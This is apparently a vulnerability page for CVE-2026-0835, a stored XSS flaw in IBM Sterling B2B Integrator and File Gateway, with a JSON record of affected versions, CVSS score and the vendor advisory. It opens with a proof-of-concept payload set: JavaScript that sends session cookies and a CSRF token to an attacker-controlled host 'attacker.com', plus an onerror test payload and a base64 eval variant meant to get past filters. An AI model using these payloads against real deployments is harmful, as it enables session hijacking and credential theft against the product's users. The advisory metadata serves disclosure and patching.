CVE-2026-0835

<!-- CVE-2026-0835 PoC - Stored XSS in IBM Sterling --> <!-- Attacker injects this payload in a user-accessible field --> <script> // Steal session cookies var cookies = document.cookie; // Create image element to exfiltrate data var img = new Image(); img.src = 'https://attacker.com/log?cookie=' + encodeURIComponent(cookies); // Alternative: steal CSRF token if present var csrfToken = document.querySelector('input[name="csrf_token"]'); if (csrfToken) { img.src = 'https://attacker.com/log?csrf=' + encodeURIComponent(csrfToken.value); } </script> <!-- Simpler XSS payload for verification --> <img src=x onerror="alert('XSS Confirmed - CVE-2026-0835')"> <!-- Base64 encoded payload for bypass --> <script>eval(atob('YWxlcnQoJ1hTUyBDb25maXJtZWQgLSAjQ1ZFLTA2NjA4MzUnKQ=='))</script>

{"cve": {"id": "CVE-2026-0835", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:53:56.827", "lastModified": "2026-03-20T19:18:53.287", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Sterling B2B Integrator and IBM Sterling File Gateway 6.1.0.0 through 6.1.2.7_2, 6.2.0.0 through 6.2.0.5_1, 6.2.1.0 through 6.2.1.1_1, and 6.2.2.0 are vulnerable to cross-site scripting. This vulnerability allows an authenticated user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session."}, {"lang": "es", "value": "IBM Sterling B2B Integrator e IBM Sterling File Gateway 6.1.0.0 hasta 6.1.2.7_2, 6.2.0.0 hasta 6.2.0.5_1, 6.2.1.0 hasta 6.2.1.1_1, y 6.2.2.0 son vulnerables a cross-site scripting. Esta vulnerabilidad permite a un usuario autenticado incrustar código JavaScript arbitrario en la interfaz de usuario web, alterando así la funcionalidad prevista, potencialmente llevando a la divulgación de credenciales dentro de una sesión de confianza."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_b2b_integrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1.0.0", "versionEndExcluding": "6.1.2.8", "matchCriteriaId": "CF5BFBAA-B7B6-43FC-893D-F62E8AC28673"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_b2b_integrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2.0.0", "versionEndExcluding": "6.2.0.5_2", "matchCriteriaId": "0F026F01-EF66-4E43-A081-F1B2C7C87904"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_b2b_integrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2.1.0", "versionEndExcluding": "6.2.1.1_2", "matchCriteriaId": "0D31014C-F7D8-4B69-AB89-2A6AEAB7B667"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_b2b_integrator:6.2.2.0:*:*:*:*:*:*:*", "matchCriteriaId": "E8CC6F03-A96D-4D0F-A846-890006E405A2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_file_gateway:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1.0.0", "versionEndExcluding": "6.1.2.8", "matchCriteriaId": "00C60634-AE0C-4641-B645-0D0511A0070C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_file_gateway:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2.0.0", "versionEndExcluding": "6.2.0.5_2", "matchCriteriaId": "98CB35E7-789A-44B3-86E3-6F2A0CE56D4F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_file_gateway:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2.1.0", "versionEndExcluding": "6.2.1.1_2", "matchCriteriaId": "4AD23AED-25F6-45AB-93DD-FC1864431290"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_file_gateway:6.2.2.0:*:*:*:*:*:*:*", "matchCriteriaId": "C2813946-2022-4789-9285-25E576E49609"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7263326", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}